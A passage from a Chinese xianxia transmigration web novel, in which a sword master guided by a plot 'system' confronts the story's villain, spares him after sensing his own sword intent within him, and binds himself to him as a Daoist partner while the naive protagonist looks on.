秦越听完系统的解释,点了点头,“懂了。我徒弟必须是第一。” 不。你没懂。系统系统头晕脑胀地搓了搓脸,而且男主压根没承认他是你徒弟吧…… 毕竟恋爱脑这辈子也就一个师尊。 系统:[比试中刀剑无眼,万一伤了或者……死了,都很正常的。] 剧情这样也算是合理了。 总比原文定海神针一样的剑尊,莫名其妙地冲到宗门里杀了一个弟子,要合理的多。 应该、大概、也许不能产生bug了吧。 秦越问:“比试大概还有多久?” 系统:[三个月。] 三个月说长不长,说短不短。 但寻常人要是说三个月能突破一个大境界,是要被人嘲笑说在讲大话。 秦越:“足够了。” 系统一瞅他的表情,心里明白个七七八八,[您又要去揠苗了?] 介于之前见过秦越揠苗助长,系统倒没怀疑他有这个能力。 秦越摇了摇头。 原文里所写的反派比试时的境界,已经低于前段时间男主的了。他授予“祁鸿羽”修为之后,对方就突破了这个境界了。 …… 好像有哪里不对。 秦越又招来面板,仔仔细细地看了一眼原文。 没有看错。 但怎么“祁鸿羽”之前的境界,跟文中反派一模一样。 按文中来说,他应该要落下贺煜臣至少两个大境界才对。这样才因为想要突破境界,从而燃烧灵力,烧得自己经脉寸断…… 秦越目光落在系统身上,看得系统起了一身不存在的鸡皮疙瘩。 系统:[宿、宿主?您有什么事直接说呗。] 别用这种要刀人的目光看我啊! 系统开始反思这几个月来,自己做了什么不得了的事情。 “查一下祁鸿羽现在的位置。”秦越缓缓开口。 系统不知道秦越为什么要自己定位,秦越之前明明将神识附着在男主身上过了,可以准确地感知到男主的位置。 但系统还是老老实实地查了。 几秒后它递过了一个面板,一个小红点在上面不停地闪烁着。 秦越皱了皱眉,位置没错是没错,但这也不能说明什么。 [哎?宿主您这是要去哪?]系统还在发愣,秦越就已经一言不发地走远了。 说是走,但对于这个世界的尊者来说,一步早就不见了踪影。 无相峰。 祁鸿羽已经累得睡着了。他这几天提心吊胆,一腔苦水不知跟谁诉说。 今日在贺煜臣这里竹筒倒豆子一样地说完后,突然感到一身轻,紧绷的神经一放松,顿时就在贺煜臣的住处里沉沉地睡去了。 贺煜臣看了看祁鸿羽已经整理好的衣袖,不久之前这底下还覆盖着一层细密的黑鳞。 祁鸿羽不是人族,但……也绝不是无法吸纳灵气的妖族。 事情变得有趣了起来。 贺煜臣瞥了一眼祁鸿羽,随手将卧房的门合上。 今夜月光黯淡,院落里只余一盏不甚明亮的灯笼,正当贺煜臣想将灵气注入其中,让灯光变得明亮时,他指骨一顿,眉头一拧盯着某处,“谁?” 背光的角落里走出一个人,贺煜臣见到来人,顿时没那么剑拔弩张了。 秦越的表情有些冷,但贺煜臣已经习惯了。 “房间里有人?” 贺煜臣露出一个缓慢又意义不明的笑容,秦越从来没见过他这个样子,仿佛熟识的人眨眼间变成了一个完全陌生的人。 “谁知道呢?” 贺煜臣第一次没有回答他的问题,慢条斯理地将灯笼灭了,院落里顿时漆黑一片。 “夜深了,请回吧。”—— 作者有话说:可喜可贺,在一通操作之下,反派提前黑化了[点赞] 第77章 秦越在贺煜臣这碰了个不软不硬的钉子,虽然贺煜臣没有正面回答他,但他轻而易举地能感知到这里还有第三个人的气息。 真相近在眼前。 秦越面无表情地收回探查屋内的视线,转而注视着贺煜臣。 黑云掠过,露出一丝惨淡的月光。 “怎么?”贺煜臣笑了一下,在月色中含着冷意,他偏头看向里屋,“你想在这里,当着祁鸿羽的面杀了我吗。” 贺煜臣完全没有一点害怕的表情,当初无数午夜梦回时,他都是被秦越拆穿他身份的眼神刺痛惊醒的。 但这一切真真实实发生时,贺煜臣已经忘了那种惊惶的感受。 当他放下心中仅存的那一点温情后,也许是麻木,也可能是放任自己的腐烂。 ……他本来就是不择手段,只讲利益的人,为什么要害怕秦越的失望。 秦越也只不过是他的踏板。他从此以后不对秦越抱有希望,就像他不会对慕温瑜抱有期冀,这样他的希望就不会落空,也就不会受到任何伤害。 “我想,你总不能是闲来无事就有收徒的习惯吧。”贺煜臣从容道:“你想提升祁鸿羽的境界,想让他摆脱不学无术的名头,在太虚神霄宗内站稳脚跟。” 秦越的表情已经是风雨欲来了,可贺煜臣并没有停下的意思。 贺煜臣:“而且你调查过无相峰,你知道他的师尊,也知道……我。” “他对你来说很重要,是不是?”这几个字似乎用光了贺煜臣的力气,再也站不住了,他死死抓着院落中的石桌,可怜的石桌被硬生生地捏出一条细纹出来。 “重要到你不会当着他的面,杀了我这个他最敬爱的师兄,对不对?” 秦越脸色冷了下来,贺煜臣说得确实没错。 他之前所做的一切,都是为了提高男主在这个世界的影响力,可这一切的前提,都在于男主最起码得信任自己,否则对方根本不会按自己的想法去做。 如果在这个时候把贺煜臣杀了,按祁鸿羽这酷似简单人机的脑子,估计一下就会把自己划归到反派的大本营去了。 不过……秦越又看了一眼静得像无人的屋内,祁鸿羽的气息平稳,睡得很沉,如果自己出手很快的话,可以在祁鸿羽清醒前,就把贺煜臣杀了。 至于系统说的那些条条框框,秦越已经没办法兼顾了,贺煜臣只通过这些天的相处,就猜了个大概。留这么个危险人物在后期,他觉得男主被反派玩死的可能性太大了。 “你是真的想杀了我。”贺煜臣轻声说道,他看到了秦越眼底的杀意,跟那天猎妖时一模一样。 原来,自己跟那些妖物在秦越眼里没有任何区别。 思绪好像飘走了,大脑变得一团空,可纵使这样,身体也会不吭声地表达自己的痛苦。 贺煜臣没意识到自己的手掌在不受控制地收紧。 “喂,你……”秦越瞳孔一缩,下意识地想提醒他,可是已经晚了。 周围陷入了一片死寂。 石桌碎成一块块,尖锐的棱角将贺煜臣掌心划得鲜血淋漓,他慢了半拍地垂眸看了看自己的手心。 贺煜臣脸上冷漠,仿佛没有痛觉,欣赏着自己的血液一点一点地涌出,半晌才慢慢地抬了抬嘴角。 秦越拧了下眉,他觉得贺煜臣似乎是想笑,但表情又像是在哭。 一股莫名的烦躁涌了上来。 秦越认识贺煜臣以来,对方一直情绪比较内敛,哪怕是到了这种撕破脸皮的时候,贺煜臣还是将情绪死死地控制住了。 就这么一犹豫的功夫,里屋的灯亮了,祁鸿羽睡眼朦胧地拉开门,“师兄怎么回事啊?好大的动静。” 祁鸿羽眼睛适应了好一会,才勉强在月色中看清院子里的情况。 他大吃一惊,看了看碎得看不出原状的桌子,又看了看还在流血的贺煜臣,最后把目光放在一言不发的秦越身上。 这个人没见过,不是宗内之人。 祁鸿羽十分笃定,因为有的人但凡你见过一次,就永远不会忘记。 只不过这个人看起来心情糟糕至极,他眼型本就锋锐略微狭长,而现在眼中带着令人不寒而栗的冷漠。祁鸿羽不知怎的,觉得对方是个危险至极的人物。 他一张嘴就开始结巴:“谁、谁谁谁……你是什么人!胆子那么大,敢来太虚神霄宗闹事!” 壮着胆子喊了一嘴后,祁鸿羽哆哆嗦嗦地躲在门框后,如果没看错的话,师兄满手是血,是被那个男人打伤了吗?刚刚看得太匆忙,根本来不及分辨贺煜臣受伤严不严重。 到底怎么回事?怎么无相峰里都有歹人敢来了啊! 同样欲哭无泪的还有系统。 到底怎么回事?怎么一眨眼出现两个男主啊! 秦越:“认错人了。” 哦,原来只是认错……什么?!认错人了!认错谁了?系统捂着自己脸,发出无声地呐喊。 原文中,跟男主长得有些像的,那不就是反派吗? 系统迟缓地动了动已然生锈的脑子,[还有救吗?] 若不是气氛不对,秦越简直无语地想笑。 原文里好歹男主几个月后,在比试中还一鸣惊人,打败了他师兄。现在好了,男主就算是把自己灵力烧完,也打不过突破了一个境界的贺煜臣。 系统麻了:[那只能……?]它望向贺煜臣。 只能把反派杀了吗?这跟饮鸩止渴有啥区别,在一段崩了的剧情里,拿另一个可能更崩的剧情挽救吗?系统睁着死不瞑目的眼睛,两眼空空。 几个人默契无言地僵持住了。 祁鸿羽大气不敢出,试图用眼神暗示贺煜臣,想个办法让他脱身去求救。可往日里担任出谋划策的人,此刻跟被抽了魂似的,根本没看到自己使眼色。 系统每看秦越走近贺煜臣一步,心里就往下一沉,它终于体会到人类说心沉到肚子里的意思。 [要不,再想想办法,呃。]系统一句话卡在嗓子里,上不去下不来,[您不是要杀人啊。] 秦越没有像系统设想的那样,干脆了当地送反派下线。他气定神闲地站在贺煜臣面前,不轻不重地说道:“怎么这么不小心。” 祁鸿羽:“?” 祁鸿羽:“……” 刚刚憋气到现在的祁鸿羽,这才敢大口喘着气,他拍着胸口,“你俩认识啊,干嘛之间弄得那么剑拔弩张,我还以为是有人来无相峰寻仇呢。” 秦越认真地将贺煜臣伤口处的碎石渣弄出来,随后替他止了血。贺煜臣平静地垂眸看着他的动作,没有拒绝。 祁鸿羽小心翼翼地踏出房门,瞥了一眼贺煜臣被血濡湿的袖口。 “师兄,他是谁啊?” 贺煜臣盯着看起来没那么恐怖的伤口,像是心不在焉地回道:“是啊,他是谁呢?” 是好心教导“祁鸿羽”的师尊,是太虚神霄宗的护宗人,还是想杀了我的秦越? 系统琢磨出味来了,[他好像在阴阳怪气你哎……] 秦越没有理会贺煜臣的嘲讽,他也不是会气性上头的人,一句讥讽就能让他失了分寸。 “我是你师兄的朋友。”秦越目光沉沉地端详着祁鸿羽,跟原文的男主说了第一句话。 祁鸿羽反倒是被他吓得肩膀一缩。对方嘴上说是朋友,可这个人看着就面色不善,活像要把他剥皮生吞了一样。 他避开秦越的视线,偷偷用胳膊肘碰了碰贺煜臣,“师兄?” 祁鸿羽使眼色使得眼角都快抽筋了,贺煜臣才轻轻“嗯”了一声,算是默认了。 被弄了这么一出,祁鸿羽也不敢在贺煜臣这留宿了,虽然师兄的朋友说他是不小心划伤了手,但怎么可能有人不小心到把整个桌子都弄坏啊。 临走之前,祁鸿羽不放心地又望了一眼贺煜臣,正好看到师兄所谓的朋友,还在检查他别处的伤口。祁鸿羽眨了眨眼,他觉得有些奇怪,但又一时没弄清楚哪里不对。只好抓耳挠腮地走了。 系统:[宿主,你这是什么打算?] “先稳住他,给他想要的。” 原文的反派无非就是想要权利想要至高无上的力量,秦越不介意在前期给他一点甜头。 秦越捏着贺煜臣的下颌掰向一边,对着月色看清了他脸侧一道新鲜的划痕,细密的血珠还在往外渗出,“疼么?” 贺煜臣眉目间笼罩着漠然:“是留疤就不像他了么?” 秦越明白要是继续这样轻言细语,对方是笃定不会理自己了。 “我想跟你做个交易。”秦越威胁似的拂过那道伤痕,察觉到指腹下的肌肤在微微地颤抖,他满意地松开手,“你应该知道你没有拒绝的余地。” 走回自己住处的祁鸿羽这会想起来哪里奇怪了。 虽然师兄本身就是个怪人,跟自己说话也屈指可数,但这不妨碍他看得出贺煜臣是个很倔的人。 师兄从来不喜欢把自己弱势的一面,展露给别人看。所以贺煜臣受了伤也很少跟别人说,只会默默一个人处理。只有一次祁鸿羽不小心撞见了,而那次贺煜臣也很快地穿好衣服,掩盖上伤口。 仿佛别人眼里的同情会让他难堪一样,祁鸿羽一句担忧的话都没说来,就被贺煜臣客气地请走了。 如果刚才没有看错的话,那个人是在给师兄处理伤口? 而师兄也没阻止,任由对方摸来摸去的…… 祁鸿羽张大嘴“噢”了一声,猛地一锤手心。 这种情形他可太熟悉了。 怪不得刚才氛围紧张,原来师兄是怕破了无情道,被师尊责骂吧。 祁鸿羽挠头,他是什么嘴很不严的人么?至于这么防着他吗—— 作者有话说:《只有男主一人独自开朗的世界》 被威胁的小贺:到底谁才是反派?[化了] 第78章 系统呆滞地看着祁鸿羽落荒而逃的身影,继而更呆滞地看着刚才语出惊人的秦越。 [您要跟反派做交易?] 它怀疑自己听错了。 秦越明显不是随口开玩笑的样子,他是认真的。 “在原文里,除了男主,其他人只不过剧情里的匆匆过客。每个人都恰如其分地扮演着自己的角色,很多人没什么逻辑的行事,只是为了给男主增加一些所谓的磨难,给他的感情多添一笔的坎坷。” 这话说得一点毛病没有,系统也相当地认同。 虽然大部分小说中配角的确都是为男主服务的,只不过这篇文的作者是个很明显的主角控,就连白月光死去的场景都颇有杀夫证道的意味,所以这也导致了评论区里经常骂战四起。 秦越手指掠过面板上一个个名字,从没有出场过几次的普通弟子,到九鼎峰峰主严正阳,不过都是这出虐恋情深一出戏的见证者,就连威名赫赫的原主也是。 作者没有让剑尊占据大篇幅的描写,以免降低了男主的逼格,只是让其作为最后唤醒祁鸿羽神志的保险。 “所以……”秦越沉默片刻,对贺煜臣说道:“我需要你演一出戏。” “——在三个月后的比试中输给祁鸿羽。” 系统望着秦越眼神不可置信起来。虽说要按原剧情走下去,只能让贺煜臣放水了。可反派贯穿全文最显著的标签,就是他有一颗不满足现状的野心。 让贺煜臣在众目睽睽之下,输给他不学无术的师弟,这不亚于让他直接去死。 系统都有点心疼反派了,不忍心看下去了。它小声说:[宿主,他应该不会答应你的。贺煜臣把名誉看得比他性命还重要,特别是这场比试还关系到谁会继任无相峰,他怎么会同意。] 话虽如此,系统还是在心中默念,答应他吧答应他吧。秦越是真的能当场翻脸,你对他来说只不过是个虚拟人物,他杀你是没什么道德负担的。 系统也不知道自己为什么期望一个反派可以活下去,也许是他在后面的剧情中有用,它现在只能寄希望于对方不要在这时候犯倔,俗话都说好死不如赖活。 贺煜臣敛眉看了眼已经愈合如初的手心,似乎秦越的话他一个字也没听进去。 这个要求在贺煜臣预料之中,可当秦越说出来的时候,他不免还是感到胸口一阵细细密密的疼,远比刚刚被划伤的手要疼得多。 输给祁鸿羽……他到底要怎么才能演出不敌师弟的样子。 因为自己骗了秦越,因为自己顶替了祁鸿羽的身份,他罪有应得。 摆在自己面前只有两条路,一条是死路,另一条也不见得比死更好。 “回话。”秦越略有些不耐的嗓音将他思绪拉回。贺煜臣回想起当初秦越问道愿不愿意让他教自己,自己毅然决然地说出了那句愿意。 他早就做好了事情败露后赴死的准备不是么? 贺煜臣神色未变,他驱散了秦越附着在他掌心的疗伤咒,伤口再一次裂开了。他抬眸淡声道:“我不愿意。” 系统哀嚎一声,这时候就不要执着于自己的人设了啊!服软两个字很难写吗!! 贺煜臣凝望着秦越,对方没有他想象中的暴怒。但秦越眼瞳中已经流转起淡淡的金辉,贺煜臣曾见过这样的秦越,那是在对方破了太虚神霄宗驻扎地的法阵时。他知道下一秒剑纹就会粉碎自己的身躯,连一寸灰都不会留下。 会有人找他吗?慕温瑜会为他落几滴师徒情谊的泪吗,祁鸿羽会因为没有了他这个呼之即来挥之即去的工具,怀念他几分吗。 会有人记得他存在过吗? 他的父母应当会记得他罢,但是远在凡人界的父母还活着吗? 贺煜臣在鎏金般的剑纹中终是露出苦笑,原来,他已经那么久没有回家了…… 等到剑纹消散时,贺煜臣眼前已经空无一人。 秦越不见了。 系统CPU这会是真在燃烧了,它看得出秦越是真准备下死手的,可是又莫名其妙地收手了。 还一眨眼就离开了无相峰的范围。 ……跟见鬼了似的,系统瞅着脸色很奇怪的秦越,[呃,是处出来感情了没忍心下手么?这很正常,毕竟一日为师终身为父……] 秦越不听系统王八念经,他一把拎起系统,眉间凝起,“你给的原文剧情到底对不对?” 系统在空中扑腾了半天,也没能逃离秦越的魔掌:[什么对不对?我听不懂您在说什么?] 秦越揉了揉额角,面无表情地问道:“为什么那道剑意在贺煜臣身上?” …… 系统停止了扑腾,或者说停止了思考。它消化了好几分钟这句话,才重复了一句:[太虚神霄宗里原主留下的剑意在贺煜臣身上?] 秦越:“为什么?” 系统懵逼:[对啊。为什么呢?] 秦越神色平静地注视着系统,只不过有些隐隐的杀意。 系统猛地回过神,[您请稍等片刻,估计是出Bug了,我这就联系总局汇报情况!] 总觉得这个操作十分熟练,在冰冷的[繁忙中,请等待。加急请按#号键。]机械音回复中,系统轻车熟路地按住#号键。 [是哪个世界报错?] [是1027号员工的小世界,我们这出现了……] 系统话还没说完,就被对面的小姐姐打断,[跟你确认一下,你的宿主姓名是秦越对么?] [啊对对对,这个世界的反派跟原文里写的不……] [他所在的世界出现bug是正常的,不过没关系,你在坚持一下就好了。]小姐姐再一次打断了系统的飞速叭叭,她声音很甜美,但每个字都伤透了系统的心。 系统懵了:[啊?什么叫正常的,您别挂通信啊,我这任务怎么办呐?] 小姐姐神秘莫测地丢下两个字:[从心。]然后系统就听见“嘟嘟堵——”的绝情忙音。 什么从心?难道是怂么? 系统挠了挠头,试图从这俩个字里看出个所以然来。 秦越晃了晃呆在半空的系统,“问出什么了吗?” 系统声音低了八度,它眼神飘忽,就是不敢看秦越,[总局那边让您从心。] “就这两个字?”秦越脸上浮现几分无语的好笑,他扬了扬眉,“这个破公司是不怕我乱来么。” 系统讪笑两声:[从长计议,从长计议。您是怎么发觉剑意在反派身上的。] 秦越:“那是从我身上分出去的东西,怎么会感觉不出来?” 只不过之前剑意就像是沉睡了,直到这次察觉到危险才醒来。秦越杀招未至,就察觉到同源的力量挡住了自己。说个不恰当的比喻,他当时就觉得自己再跟自己斗殴。 剑尊当初分出去的剑意拥有他的本源力量,可以说是他本人的分身。这道剑意在太虚神霄宗哪里都说得过去,但偏偏出现在了贺煜臣这个反派身上。 系统迷茫地望着秦越:[那您现在是不打算动贺煜臣了吧?] 秦越这时才发觉他已经不在无相峰了。 自己跑什么?秦越顿了顿,他眉峰拧起,幽幽地跟系统对望。 系统:[?]看它做什么?又不是它带着秦越跑路的。 说是感觉到剑意是一回事,看到贺煜臣痛楚的眼神是另一回事。秦越自己都有些匪夷所思,最后将这个归于系统的说辞。 就算是养条狗,养几天都能养出感情,更何况是人。 系统还没反应过来,被秦越不由分说地拎起,整个统挂在秦越身上,一句抗议没来得及喊出来,就回到了无相峰。 贺煜臣还站在那里,正默默地将碎得东一块西一块的石桌复原起来。 见到秦越去而复返,他只是抬头分给秦越一个眼神,复又垂下睫毛,自言自语道:“我试了很久。可它就是回不到最初的样子了。” “别弄了。”秦越的视线在贺煜臣身上停了几息,冷不丁地说道:“碎了就是碎了。” 秦越闻到了很淡的血腥味,虽然他之前替贺煜臣愈合了伤口,但对方拒绝了自己的要求后,就将咒法撤去了,像是……不想带着属于他的东西赴死。 虽然这会伤口凝血了,可干涸后的血迹,依然带着若有若无的血腥气。 贺煜臣胸口微微地震动,他不明白秦越刚才为什么离开,但他知道自己活不过今晚。“等我修好这个。” 秦越唇角微微下沉,他本来就因为自己刚刚没忍心而暗自烦躁,见到贺煜臣完全将性命置之度外,更是在这种情绪上火上浇油。 贺煜臣的命,是自己还纠结了那么一刻的东西,在贺煜臣口中轻飘飘地还不如一张桌子重要。 秦越声音低沉:“你倒是不怕死。” 贺煜臣手下动作没停,他入魔般得想把它修好。可就像秦越说得,怎么能修好呢。 他突然觉得自己跟石桌一样,碎得再也拼不好了。 秦越不想再看贺煜臣做无用功,挥手将地上的碎石块挪开:“刚才的话题还没有结束。” 他想再给贺煜臣一个机会。 贺煜臣急促地喘了一口气,似乎在努力抑制着什么情绪。他低声说了一句话,但秦越没有听清。 “我不愿意。”贺煜臣彻底崩溃了,他跟小孩子耍脾气似的,将手中还沾着血迹的石块砸向秦越,“你是听不懂人话吗!我说了我不愿意输给他。” 他说着说着停了,咬紧牙关再也不肯说出一个字了。 可是晚了,秦越已经听出他带着哽咽的尾音。 第79章 已知要想剧情回到正轨,需要男主在三个月后比试中赢过反派,又已知反派实力远远超过男主。 求解:如何让男主赢下比试。 对秦越来说解题步骤无非就那几个。 可是…… 秦越缓缓垂下眼,像是在思考。 反派的眼泪也不比别人的金贵,但他心中就像卡了根刺,上不去又下不来。 秦越眉眼中染上阴影,他对贺煜臣的认知最初是来自原作者的描写,带入了作者的情绪,也许是先入为主,他也对贺煜臣有偏见。 那些文里的描写,拼凑出一个内心阴暗善妒,见不得男主好的反派。跟他这些天见过的贺煜臣形成了一种很矛盾的感觉。 秦越还没做出什么反应,贺煜臣却先执剑在手,他已经强行克制刚才爆发的情绪了,锋锐的剑芒在月色中如一点星光。 “你想要的我做不到。”贺煜臣握住剑的手在抖,但语气却稳得看不出异样。“但我再也不会怯而不战了。” 系统傻了,大为震撼。 它呆呆地看着贺煜臣,继而又看了一眼秦越。 至于从秦越的表情来看……看不出他到底在想什么。 秦越不轻不重地问道:“你拿着的是我送你的剑?” 剑身并不重,但贺煜臣此刻只觉得它沉重得拖着自己一直往下坠落。他背脊像被拖垮了一般,凝固成一个僵硬的的弧度。 在藏书阁里秦越送他这把剑的场景还历历在目,电光火石间,贺煜臣咬牙想忘记那段其实根本不该属于自己的记忆。 可有的事情你越想忘记,它反而清晰得就像在故意作祟。 那时的贺煜臣宛若走进一场温和的美梦,可这一切终究是偷来的,现在到了连本带利归还的时候了。 秦越冷冷开口,这次他加重了语气:“你拿我送你的剑对着我?” 周遭一片静默,半晌贺煜臣反手将剑抛给秦越,长剑在空中划过一个漂亮的弧度,但锻造它的人没有接过,仍由它落在一边。 那声清脆的坠地声敲在了贺煜臣胸口上,他的心猛地随之跳动了一下,“这样……我就不欠你的了。” “至于你给我的心法,那得麻烦你把这里剖开了。”贺煜臣点了点自己的额角,他脸上有着类似无所谓的神情,仿佛那把被遗弃的长剑带走了他最后的精神气。 又像是精疲力尽后,懒得再虚与委蛇。 “贺煜臣你好得很。”秦越嘴角抬了抬,怒极反笑。 他显然是动了真怒,霍然往前走了几步,直逼贺煜臣面前,“你这条命是猎妖时我救的,就算是你自己也没资格轻易舍弃它。” 太近了……贺煜臣脑海一空。 近到贺煜臣能看清秦越浓黑的眉眼,他审视的视线像悬而未落的利刃,一刀一刀地劈开贺煜臣最后的伪装。 “你不想我死,也不想让我活!”贺煜臣顾不上心里的翻江倒海,他一字一句道:“你到底想要我怎样?” 秦越站在那,活像一尊用冷铁和寒冰粗粝铸就的雕像,他眼睑微微下压:“我给过你机会,你明知道我有很多办法让你赢不了。” 系统在一边抓耳挠腮,在贺煜臣旁边干着急。 没错,秦越说得对,他会让你因为各种原因没法去参加比试,甚至现在就废了你的修为,让你沦为一个开不了灵窍的普通人……可惜贺煜臣听不见它说话。 贺煜臣忽然笑了:“你是在施舍我么?” 说来奇怪,他分明是可以为了利益委曲求全的人。在无相峰那么多年,他都是这样过来的。 他可以忍受慕温瑜的区别对待,可以忍受仙洲界世家的蔑视,可以默默无闻地为祁鸿羽收拾烂摊子…… 可在秦越面前,贺煜臣不想要这种上位者给下位者的那一点怜悯,他一点都忍不了。 他不想让秦越看不起自己。 眼见火药碰上火花下一秒就要炸了,系统舍己为人冲到他俩中间,大喊等等,颇有举着特赦喊刀下留人的风范。 拜托啊,反派死了,谁来刺激男主啊。祁鸿羽本就是个躺平的性格,难得有个后期撬墙角的反派,激发了他龙傲天的属性,祁鸿羽才会小宇宙爆发,一路杀回了太虚神霄宗。 它才不要男主后半辈子都跟妖族混在一起,这简直是系统界的鬼故事! 秦越眼底难得有一丝怔然,“你又怎么了?” 系统:[宿主是你说要跟反派做交易的,对不对?] 秦越不明所以地看着系统,但也没有打断它的话。 [但是啊,您到现在根本没说你能给他什么。]系统尴尬一下,[说不定人家以为您是拿他的命,逼着他跟你做交易的嘞?] 很合理啊。 贺煜臣肯定以为你的意思是输给男主后,然后他才能保住一条命。 这场交易的交易品是他的性命。 但这对他来说跟苟延残喘没啥区别,贺煜臣肯定不会答应的。 秦越眼神松动,微不可查地偏过头,以拳抵唇轻轻咳了一声:“他真那么以为的?” 系统不吱声了:反派又不是你肚子你的蛔虫,全靠猜吗。 秦越神情有种苦口婆心说了半天话,结果对方根本没听明白的无力感。 他是什么很坏的人么? 为什么要代入这种强人所难还逼迫人的印象? 秦越无言地将院落里那盏被冷落许久的灯点亮,倏而他眼底映出跃动的灯芯。秦越沉默了良久,才出声:“你究竟想要什么。” 贺煜臣望着他,但更像是望着他身后烛火照不到处的黑暗,忽的他露出一个极淡的笑容:“我想做无相峰峰主,你可以帮我办到么?” 秦越:“……” 这个真不行。 在秦越的计划里,无相峰峰主必须得是男主,况且不仅仅是无相峰主,连太虚神霄宗的宗主之位都必须是男主的。 这样谁还敢找他的茬?若是非有人不长眼,要找他的麻烦,这种做法跟台下何人状告本官本质差不多了。 看见秦越没有答话,那种胸口沉甸甸的感觉又来了。贺煜臣双手微微发抖,但他出乎意料地点了点头表示了然,继而又说道:“如果这个让你很为难的话,那我想要那道存留在太虚神霄宗内的剑意。” 秦越叹了一口气,要怎么跟贺煜臣说,那道剑意就在他自己身上。 这话说出去,别说贺煜臣不信,要不是他之前试探出来了,他也不会信的。 贺煜臣强压住鼻腔的酸胀感,莫名觉得喉咙又痛又涩,他深吸一口气让自己看起来没那么可怜,“这也不行,是么?” 可他没发觉到自己的声音带着一丝难过和悲。 秦越眉心一跳,一股没来由的痛楚从心底涌出。 他愕然地发觉自己的情绪居然被眼前人带动了,他宁愿看到的是一个歇斯底里的贺煜臣,而不是这样小心翼翼地揭开自己面具,朝自己示好的贺煜臣。 秦越没来得及细细思考,就脱口而出:“除此之外的要求……” “好啊。”贺煜臣还是那副没有太大情绪的神色,他平静地打断秦越的话,说道:“那你做我的道侣吧。” 他的神态就跟普通的聊天一样,坦坦荡荡,毫不遮掩。 系统彻底炸了,[你在说什么啊!你疯了吗?不要因为觉得自己活不成了,就可以彻底摆烂,提些乱七八糟的要求啊!] 它感到脊背上有一串一串的电流淌过,如果它是个人的话,它就知道这种感觉叫炸毛了。 可现在它只认为是贺煜臣终于被秦越逼疯了。 秦越倒不觉得贺煜臣提这个要求有什么突兀的。 无相峰算上慕温瑜就三人,除了慕温瑜不愿意收徒外,还有一个原因,他们修的是无情道。 无情道这几个字几乎就是明晃晃地告诉世人——没有道侣,那么走双修这条捷径是想也别想了。无情道的修士总是走得比别人更艰难些,还需要经受断情绝爱的折磨。 堪称没苦硬吃的典范。 虽说无情道大道已成的修士,会比其他人境界更深邃,但那么多年来,仙洲界没有人得道飞升。若是不能飞升,那修什么也无所谓了。 所以修真界除了对情爱不感兴趣的人,大多数人已不再强求自己修无情道了。 秦越第一反应就是贺煜臣要放弃无情道了,当然这也无可厚非。对于痴迷于修为提升的反派,无情道的确不适合他。 系统想冲上去按住秦越的肩膀,它声音抖成波浪线:[喂喂喂,您不会是也跟着一起疯了吧——] 它意识到自己根本阻止不了秦越,毕竟它也没阻止成功过。 秦越一言不发地伸出手,轻轻按住贺煜臣的胸口。 他能感觉到掌心下的身体变得坚硬无措。秦越的动作生疏又克制,他收回手,沉声道:“好了,契约已成。” 系统觉得自己尸体都硬了。 它硬邦邦地躺在地上,[不会好了,不会好了……] 但凡有人知道秦越的身份,这就已经不是OOC的问题了! 无情道老祖跟自己徒弟的徒弟的徒弟的……徒弟在一起了! 这要让旁人知道了,会不会批判这是老牛吃嫩草……呸呸呸,不对,是会被认为是老祖被鬼上身的程度。 贺煜臣的嘴唇动了动,又像是陷入了一场无边的梦境,他只会无意义地重复:“……好了?” “休息一下。”秦越伸手扶住了他,“醒来就没事了。” 胸口处仿佛有一道暖流,抚平了躁动痛苦的心。很温暖,也很……舒服,让他本就疲惫不堪的精神坠入黑暗—— 作者有话说:系统眼中的世界—— 反派:发疯。 宿主:发大疯。 第80章 贺煜臣与其说是陷入了沉睡,不如说是进入了昏迷。 因为一旦契约建立,修士的力量灵力是互通有无的,相当于契约双方为对方开了一道独属于他们的通道,所以道侣结契时,大部分人境界都是相差无几的。 贺煜臣什么都感觉不到,而浩如烟海地灵气正不停歇地灌进他的体内。 系统:[宿主您好像那个……充电宝哦。] 秦越一点不心疼流失掉的灵气。作为一个即将羽化飞升的人,这些灵气对他而言不过是九牛一毛。 他觉得这简直是个双赢的买卖,贺煜臣的要求在他看来一点也不过分。 只相当于是给贺煜臣白送一些灵气,却能让前期的反派不对男主有什么想法,十分地划算。 系统:[现在要去揠男主的苗吗?] 说到男主,秦越又记起对方极致单纯的眼神,不由地头疼起来。 他将贺煜臣放在床上安顿好后,就想离开,却被沉眠中的贺煜臣紧紧地攥住衣袖。 这其实很正常,第一次结契后,对道侣的气息感到依赖是不可避免的。 只是秦越不正常。 作为无情道的优秀毕业生,他对这种感觉相当的迟钝。 秦越皱了皱眉,试图把衣袖从贺煜臣手中抽出,却发现对方攥得相当用力,要是想离开怕是得把袖子扯断了。 “……”秦越长长吐出一口气,认栽地在一旁坐下- 祁鸿羽好几天没见到贺煜臣了。 这不对劲。 祁鸿羽从没见过师兄缺席那么多门课。 在贺煜臣那把糟心事一吐为快后,祁鸿羽明显放宽了心。虽然还是不自在,但总有个人知道内情,可以为他分担这种害怕的心情了。 可是!这个人好几天没有出现了。 祁鸿羽决定去找贺煜臣,在去的路上,遇到了前来找慕温瑜的外峰弟子。 弟子见到祁鸿羽后,恭恭敬敬地行了个礼。 祁鸿羽已经习惯了,介于慕温瑜的辈分太高,别峰弟子基本见了他都要行后辈礼。 “宗主让我来通知慕峰主,关于几个月后宗门大比的事宜。” 祁鸿羽听到这话,才想起来还有这么一个事。 向来这种比试他都是走个过场,所以自然也不关心。 祁鸿羽“哦”了一声,然后两个人大眼瞪小眼起来。 弟子:“……所以,慕峰主在不在呀?” 祁鸿羽到现在也没敢见慕温瑜,除了他对自己血脉产生疑问,还有一点就是……他之前见到慕温瑜跟师兄举止很亲密。 他无法理解自己当时为何扭头就走。对此,祁鸿羽内心解释是怕慕温瑜看出了自己的异样。 祁鸿羽活了那么久,在猎妖前他一直顺风顺水,没有任何烦心事。结果出去执行一次任务回来,就变成了这样。 吃也吃不好,睡也睡不好,他无可奈何地想星枢门给的预言,第一句的命途逆转确实应验了。 祁鸿羽绷着脸,扭头就要走:“不知道。” 弟子:“……”不知道就不知道,火气那么大干什么。 他这次来只是来替宗主跑个腿的,本来是只需要宗主传个音的事情,不知道为什么这次搞得那么神秘,怕被人偷听了去似的,特意将通知密封让他务必亲自送到慕温瑜手上。 祁鸿羽蒙着头往贺煜臣的住处钻,每次他来到师兄这里,莫名地心情就平静下来。他觉得贺师兄有种安抚人心的力量。 向来不敲门的他正准备如往常一样的进去,门还没推开,他就被门内的一股力量往外一推,顺着惯性往回关的大门差点把他的鼻子拍扁。 祁鸿羽心有余悸地摸了摸鼻子,他犹犹豫豫地敲门,“师兄,你怎么了?” 